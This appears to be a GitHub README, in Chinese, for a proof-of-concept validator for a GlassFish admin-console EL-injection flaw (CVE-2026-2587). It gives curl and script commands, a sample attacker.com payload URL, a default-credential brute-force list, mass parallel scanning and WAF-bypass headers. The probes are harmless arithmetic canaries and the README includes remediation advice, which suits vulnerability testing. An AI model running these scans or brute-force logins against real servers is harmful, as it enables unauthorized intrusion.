Bhanunamikaze/CVE-2026-2587-Exploit-POC
GitHub: Bhanunamikaze/CVE-2026-2587-Exploit-POC
这是一个针对Eclipse GlassFish CVE-2026-2587 EL注入漏洞的安全验证PoC工具。
Stars: 0 | Forks: 0
# CVE-2026-2587 漏洞利用 PoC — Eclipse GlassFish EL 注入 RCE 验证器
针对 CVE-2026-2587 的 PoC 验证器,这是一个严重的 EL 注入 / RCE 漏洞,影响 Eclipse GlassFish 通过 `/common/gadgets/gadget.jsf` 处理管理控制台小部件。
该工具使用无害的算术 EL 金丝雀值,帮助安全团队在授权环境中验证 GlassFish CVE-2026-2587 的暴露情况。
` 属性中提供的值。
```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
```
如果 XML 在 `` 属性中包含 `#{7*7}`,GlassFish 会在服务器端评估它并返回 `49` — 这确认了 EL 的执行。通过 EL 访问 Java 运行时,可以构建完整的 RCE 攻击链。
当前公开的公告并未发布受影响或已修补版本的界限。因此,此验证器以证明为先:它对 GlassFish 进行指纹识别并报告版本元数据,但不会仅根据版本字符串就将目标归类为易受攻击。
## 工作原理

安全验证路径托管一个无害的 XML 探测文件,向 `gadget.jsf` 发送一个经过认证的管理控制台请求,让 GlassFish 从回调 URL 获取该 XML,并检查 `` 金丝雀值是否从 `#{7*7}` 评估为 `49`。
**注入点确认与未确认:**
```
```
## 认证要求
| 场景 | 是否需要认证? |
|---|---|
| 直接访问 `gadget.jsf` | 是 — FORM 认证,200 登录页面 |
| 现实世界 CSRF 攻击 | 否 — 利用管理员的有效会话 |
| 本验证器 | 是 — `--cookie` 或 `--username`/`--password` |
| 仅未认证暴露检查 | 否 — 脚本自动测试此项 |
CVSS 向量 `PR:N / UI:R` 意味着:
- `PR:N` — 攻击者**无需自己的凭据**
- `UI:R` — 登录的管理员必须进行交互(CSRF 交付)
对于实验室验证,可以完全跳过 CSRF — 直接使用你自己的管理员会话。
## 设置
**要求:** Python 3.9+ · `requests`
```
git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC
cd CVE-2026-2587-Exploit-POC
pip install requests
# 可选彩色终端输出:
pip install colorama
```
**仓库内容:**
```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
```
## 实验环境 (Docker)
### 方案 A — docker compose (推荐)
```
# 从仓库根目录
docker compose -f docker-compose.lab.yml up
```
启动 GlassFish 7.0.15,端口仅绑定到 `127.0.0.1`,并预配置 `host.docker.internal` 以便容器可以访问你本地的 XML 服务器。
### 方案 B — 基础 docker run
```
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
```
管理控制台:`https://localhost:4848` · 登录:`admin` / `admin`
(自签名证书 — 浏览器警告是正常的。)
### 提供无害的探测 XML
在第二个终端中:
```
# 仓库包含 probe.xml — 可直接提供服务:
python3 -m http.server 8000 --bind 0.0.0.0
```
从容器的角度验证可达性:
```
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
```
### 手动触发
首先登录管理控制台(浏览器会话或 `--cookie`),然后:
```
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml" \
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
```
| 输出 | 含义 |
|---|---|
| `CVE2587_TITLE_49_END` | **易受攻击** — EL 在 `ModulePrefs title` 中被评估 |
| `CVE2587_BODY_49_END` | **易受攻击** — EL 在 CDATA 正文中被评估 |
| `CVE2587_TITLE_#{7*7}_END` | 未受攻击 / EL 未被评估 |
| *(无输出)* | GlassFish 从未获取过 XML — 检查回调可达性 |
### 针对本地实验室的自动验证
```
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
```
## 生成探测 XML
仓库已包含可直接使用的 `probe.xml`。你也可以随时生成一个新的 — 当你想要自定义金丝雀前缀或随机化值,以便在每次任务中使用唯一的探测时很有用。
```
# 使用默认值生成(CVE2587 前缀,#{7*7})
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
# 使用自定义前缀和操作数生成
python3 CVE-2026-2587-Exploit-POC.py \
--generate-xml probe.xml \
--prefix MYTEST --left 13 --right 17
# 输出到标准输出(可传输至服务器、gist 等)
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
# 使用随机值生成(每次运行结果不同)
python3 CVE-2026-2587-Exploit-POC.py \
--generate-xml probe_$(date +%s).xml \
--prefix SCAN$(date +%s) --left 31 --right 127
```
写入文件后的输出:
```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
```
## 使用 — 单目标
### 本地主机 / Docker
当 GlassFish 在本地或同一台机器的 Docker 中运行时使用。
在登录管理控制台后,从浏览器开发者工具 -> 应用程序 -> Cookie 中获取你的 `JSESSIONID`,然后:
```
# Docker — 容器内运行 GlassFish,脚本在主机上
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure --verbose
# 本地主机(无 Docker)
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://127.0.0.1:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
### 凭据
```
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
```
### 暴力破解登录
当你完全没有凭据时,`--brute` 会依次尝试 21 种常见的 GlassFish 默认凭据对,并使用第一个成功的。
与 `--username` 和 `--cookie` 互斥。
```
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--brute --insecure --verbose
```
如果找到有效的凭据对,它将在输出中打印并记录在 CSV 的 `brute_creds` 列中。如果所有对都失败,扫描将以 `AUTH_REQUIRED` 退出。
某些 GlassFish 构建在有效的表单 POST 后返回 `/login.jsf`。验证器不会仅凭此 URL 视为失败;它会通过探测管理小部件端点并检查响应是否不是登录表单来确认会话。
尝试的凭据列表(按顺序):
| 用户名 | 密码 |
|---|---|
| `admin` | `admin` |
| `admin` | *(空)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |
### 通过 Cloudflare Tunnel 远程连接
快速隧道无需账户。
**步骤 1 — 安装 cloudflared:**
```
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
```
**步骤 2 — 启动隧道:**
```
# 终端 1
cloudflared tunnel --url http://localhost:8000
# → https://random-words.trycloudflare.com
```
**步骤 3 — 运行验证器:**
使用生成的相同主机名,回调 URL 使用 `http://`。这避免了 GlassFish 实验室容器中 JVM 信任库无法验证 Cloudflare TLS 证书链而导致的失败。如果你粘贴生成的 `https://` trycloudflare URL,验证器会将该回调重写为 `http://` 并打印警告。尾部斜杠可选;验证器会自动附加 `/canary.xml` 和每个测试的 XML 路径。
```
# 终端 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
### 预托管静态 XML
当你无法运行本地服务器时使用。目标 GlassFish JVM 必须能够直接获取此 URL,因此在受信任的 VPS/Web 服务器上的纯 HTTP 通常比目标 JVM 证书链不受信任的 HTTPS 主机更可靠。
`--xml-url` 标志完全绕过内置服务器。
生成一个新的探测 XML,然后托管它:
```
# 第 1 步 — 生成
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
# 第 2 步 — 托管(选择一项)
python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel
scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server
# 第 3 步 — 运行(使用生成输出中的 --prefix/--left/--right)
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/probe.xml \
--prefix CVE2587 --left 7 --right 7 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
### 通过 ngrok 远程连接 (最后手段)
仅将 ngrok 作为远程目标的最后选择。免费层可能会通过返回一个插入式 HTML 警告页面来阻止非来自浏览器的服务端请求。在这种情况下,GlassFish 会获取警告页面而不是你的 `probe.xml`,验证器可能会将响应分类为登录页面或不确定结果。除非你拥有绕过此限制的付费 ngrok 账户,否则首选 Cloudflare Tunnel、VPS 或目标 JVM 可以顺利获取的静态 Web 主机。
**步骤 1 — 安装 ngrok:**
```
# macOS
brew install ngrok
# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
```
**步骤 2 — 暴露你的本地服务器:**
```
# 终端 1
ngrok http 8000
# → 正在转发:https://abc123.ngrok-free.app -> http://localhost:8000
```
**步骤 3 — 运行验证器:**
```
# 终端 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
### 仅未认证检查
在执行完整的认证扫描之前,测试端点是否意外暴露且无需认证。在阶段 1 后立即退出。
```
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--check-unauth-only --insecure
```
## 使用 — 多目标
### 目标文件格式
仓库包含 `targets.txt.example` 作为模板。复制并编辑它:
```
cp targets.txt.example targets.txt
# 编辑 targets.txt 文件,填入你的服务器信息
```
格式 — 每行一个目标,忽略以 `#` 开头的行和空行,每个目标的凭据可覆盖全局 `--username`/`--password`:
```
# targets.txt
# 格式:URL
https://server1:4848
# 格式:URL 用户名 密码
https://server2:4848 admin password123
https://server3:4848 ops secret99
# 格式:URL 用户名:密码
https://server4:4848 admin:admin
# 被注释的目标将被跳过
# https://server5:4448
```
针对所有目标运行:
```
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--insecure \
--csv results.csv
```
### 并行扫描
```
# 同时扫描 10 个目标
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 10 \
--insecure \
--csv results.csv --json
```
## 输出格式
### 控制台
默认的人类可读输出。添加 `--verbose` 以查看每个测试用例的结果。
```
────────────────────────────────────────────────────────────────
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
Version : Eclipse GlassFish 7.0.15 [asadmin-api] (affected: UNKNOWN)
Console : present | Gadget: present | Proof: evaluated
[+] VULNERABLE — 9/10 test cases confirmed
[+] TC-01 Basic multiply #{7*7} → 49
[+] TC-02 Addition #{1337+2587} → 3924
[+] TC-03 Large multiply #{31337*271} → 8492327
...
Remediation: restrict admin access and apply vendor-published fixed builds when available.
```
多目标摘要:
```
════════════════════════════════════════════════════════════════
SCAN SUMMARY — 4 target(s)
════════════════════════════════════════════════════════════════
Vulnerable : 2
Not vulnerable : 1
Auth required : 1
Error / other : 0
════════════════════════════════════════════════════════════════
```
### CSV
```
# 写入文件
--csv results.csv
# 写入标准输出(适合管道操作)
--csv -
```
CSV 列:
| 列 | 描述 |
|---|---|
| `target` | 目标 URL |
| `timestamp` | UTC ISO-8601 扫描时间 |
| `verdict` | `VULNERABLE` / `NOT_VULNERABLE` / `AUTH_REQUIRED` / `VULNERABLE_UNAUTH` / `ERROR` |
| `vulnerable_count` | 确认 EL 评估的测试用例数量 |
| `total_tests` | 运行的总测试用例数 |
| `unauth_exposed` | 如果端点无需认证即响应则为 `YES` |
| `active_endpoint` | 用于测试的端点 URL |
| `server_header` | 来自 GlassFish 的 `Server:` 头信息 |
| `detected_version` | 如果已识别则为版本字符串 |
| `version_source` | 版本值来源:header、REST/登录页面或 `asadmin-api` |
| `version_affected` | 公告版本状态。目前为 `UNKNOWN`,因为公开的受影响/修补范围未公布 |
| `admin_console` | `present`、`not_found` 或 `unknown` |
| `gadget_endpoint` | `present`、`blocked`、`not_found` 或 `unknown` |
| `proof` | `evaluated`、`not_evaluated` 或 `not_attempted` |
| `TC-01` … `TC-10` | 每个测试的结果:`VULNERABLE` / `NOT_VULNERABLE` / `INCONCLUSIVE` / `SKIPPED` |
| `notes` | 扫描失败时的错误信息 |
**示例行:**
```
target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes
https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,...,
https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,...,
https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired
```
### JSON
```
--json
```
单目标:
```
{
"active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf",
"admin_console": "present",
"detected_version": "Eclipse GlassFish 7.0.15",
"gadget_endpoint": "present",
"proof": "evaluated",
"server_header": "Eclipse GlassFish 7.0.15",
"target": "https://localhost:4848",
"tested_paths": [
"https://localhost:4848/common/gadgets/gadget.jsf",
"https://localhost:4848/admin/common/gadgets/gadget.jsf",
"https://localhost:4848/console/common/gadgets/gadget.jsf",
"https://localhost:4848/glassfish/common/gadgets/gadget.jsf",
"https://localhost:4848/asadmin/common/gadgets/gadget.jsf"
],
"timestamp": "2026-05-21T10:00:00+00:00",
"verdict": "VULNERABLE",
"version_affected": "UNKNOWN",
"version_source": "asadmin-api",
"vulnerable_count": 9,
"total_tests": 10,
"unauth_result": "AUTH_REQUIRED",
"tc_results": [
{"name": "TC-01 Basic multiply", "expr": "#{7*7}",
"expects": "49", "status": "VULNERABLE"},
{"name": "TC-02 Addition", "expr": "#{1337+2587}",
"expects": "3924", "status": "VULNERABLE"}
]
}
```
多目标返回一个 JSON 数组。
### 组合输出
所有输出格式都是独立的 — 可以自由组合:
```
# 同时输出控制台 + CSV + JSON
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 5 --insecure --verbose \
--csv results.csv \
--json > results.json
```
## 高级选项
### 端点和版本发现
默认情况下,扫描器在通用的管理 GUI 根路径下测试共享的 GlassFish 小部件路径:
```
/common/gadgets/gadget.jsf
/admin/common/gadgets/gadget.jsf
/console/common/gadgets/gadget.jsf
/glassfish/common/gadgets/gadget.jsf
/asadmin/common/gadgets/gadget.jsf
```
它还从重定向 `Location` 头信息中学习非默认的 GUI 上下文根,并在测试前添加该根路径。仅当你想覆盖此发现列表时才使用可重复的 `--path` 值。
版本检测尝试从响应头信息、管理 REST API、登录页面以及在成功登录后从 `/__asadmin/version.json` 或 `/__asadmin/version` 获取。版本数据仅用于改进路由和报告;在公开公告记录发布版本界限之前,扫描器将 `version_affected` 留为 `UNKNOWN`。
### 自定义金丝雀值
使用 `--prefix`、`--left`、`--right` 将验证器与手动制作的 XML 匹配。在使用 `--xml-url` 托管你自己的文件时需要此选项。
```
# 匹配项:
# 预期响应内容:MYTEST_TITLE_221_END
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/custom.xml \
--prefix MYTEST --left 13 --right 17 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
### 自定义头信息
添加任意头信息 — 用于 WAF 绕过、负载均衡器路由或在反向代理后进行测试。
```
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--header "X-Forwarded-For: 127.0.0.1" \
--header "X-Original-URL: /common/gadgets/gadget.jsf" \
--header "X-Custom-Header: value" \
--proxy http://127.0.0.1:8080 \
--insecure
```
## 测试用例
验证器运行 10 个不同的 EL 探测,每个都确认不同的能力:
| # | 有效载荷 | 预期结果 | 证明了什么 |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | 基线算术金丝雀 |
| TC-02 | `#{1337+2587}` | `3924` | 加法运算符 |
| TC-03 | `#{31337*271}` | `8492327` | 防碰撞大数乘法 |
| TC-04 | `#{9999-1337}` | `8662` | 减法运算符 |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | 嵌套括号 / 运算符优先级 |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | 条件 / 三元 — 控制流执行 |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | 字符串方法访问 |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | 链式方法调用 |
| TC-09 | `#{17 mod 5}` | `2` | EL 关键字运算符 |
| TC-10 | `#{100*100}` | `10000` | 额外的算术确认 |
TC-06、TC-07 和 TC-08 最为重要 — 通过这些意味着 EL 引擎执行了**字符串 API 方法和条件逻辑**,这是完整 RCE 攻击链的直接前兆。
## 输出解读
| 状态 | 含义 |
|---|---|
| `VULNERABLE` | EL 表达式被评估 — 实例确认受影响 |
| `VULNERABLE_UNAUTH` | 端点无需认证即暴露 — 比基础 CVE 更严重 |
| `NOT_VULNERABLE` | 表达式被原样反射 — EL 未被评估 |
| `AUTH_REQUIRED` | 端点返回登录页面 — 检查 cookie 或凭据 |
| `INCONCLUSIVE` | 收到响应但未找到金丝雀值 — 见下文 |
| `ERROR` | 请求失败 — 网络 / TLS 问题 |
`detected_version` 和 `version_source` 是辅助上下文。由于当前公开的公告将受影响和已修补版本列为未知,请不要将 `version_affected=UNKNOWN` 视为阴性结果。唯一的阳性发现是评估后的证明令牌。
**INCONCLUSIVE 疑难排解:**
| 症状 | 原因 | 解决方法 |
|---|---|---|
| `XML hits: 0` | GlassFish 从未获取过你的 XML | `--callback-url` 从目标不可达 |
| `XML hits: 1+` 但无匹配 | EL 被评估但字段错误 | 对于 CDATA 内容预期如此 |
| 运行中认证重定向 | 会话过期 | 从浏览器获取新的 `JSESSIONID` |
| 登录 POST 重定向到 `j_security_check` | 密码错误 | 改用 `--cookie` |
## 手动验证
无需 Python:
```
# 第 1 步 — 创建探测 XML
mkdir probe && cat > probe/probe.xml << 'EOF'
EOF
# 第 2 步 — 提供服务
python3 -m http.server 8000 --directory probe &
# 第 3 步 — 使用你的会话 Cookie 访问端点
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
| grep -oE 'PROBE_[^"< ]+_END'
# 存在漏洞的输出:
# PROBE_#{7*7}_END ← 原始内容(CDATA — 预期值)
# PROBE_49_END ← 已执行 ✅ 存在漏洞
```
## 修复建议
| 操作 | 详情 |
|---|---|
| **升级** | 当 Eclipse/NVD/GHSA 发布修补版本界限时,应用厂商发布的修复构建 |
| **禁用小部件处理器** | 如果未使用,在 WAF/防火墙上阻止 `/common/gadgets/gadget.jsf` |
| **防火墙管理控制台** | 将端口 `4848` 限制为仅受信任的 IP |
| **CSRF 防护** | 确保管理员会话的 `SameSite` cookie 属性 |
| **WAF 规则** | 阻止到达小部件端点的 XML 正文中的 `#{` 和 `${` |
## 参考文献
| 资源 | 链接 |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| GitHub Advisory (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| Eclipse CVE 跟踪 | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| Eclipse GlassFish 源码 | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| 报告者 | Camilo G. (DeepSecurity Perú) — [@SeguridadBlanca](https://x.com/SeguridadBlanca) |
## 免责声明
此仓库仅用于**授权的安全测试和研究**。
- 仅在你拥有或拥有**明确书面许可**的系统上运行此工具
- 验证器仅执行**无害的 EL 评估** — 无命令执行、无反向 Shell、无文件上传、无持久化
- 作者对误用不承担任何责任
- 遵循负责任的披露 — 2025 年 12 月报告,2026 年 5 月发布
**仓库布局:**
```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← validator script
├── probe.xml ← ready-to-host static probe XML (#{7*7} canary)
├── targets.txt.example ← multi-target file template
└── README.md
```
标签:admin console, CISA项目, CVE-2026-2587, EL注入, GlassFish, GraphQL安全矩阵, Java EE, Maven, Python安全工具, 云原生安全, 多目标扫描, 安全扫描器, 授权测试, 漏洞验证, 算术金丝雀, 编程工具, 网络安全, 请求拦截, 输出格式, 远程代码执行, 逆向工具, 隐私保护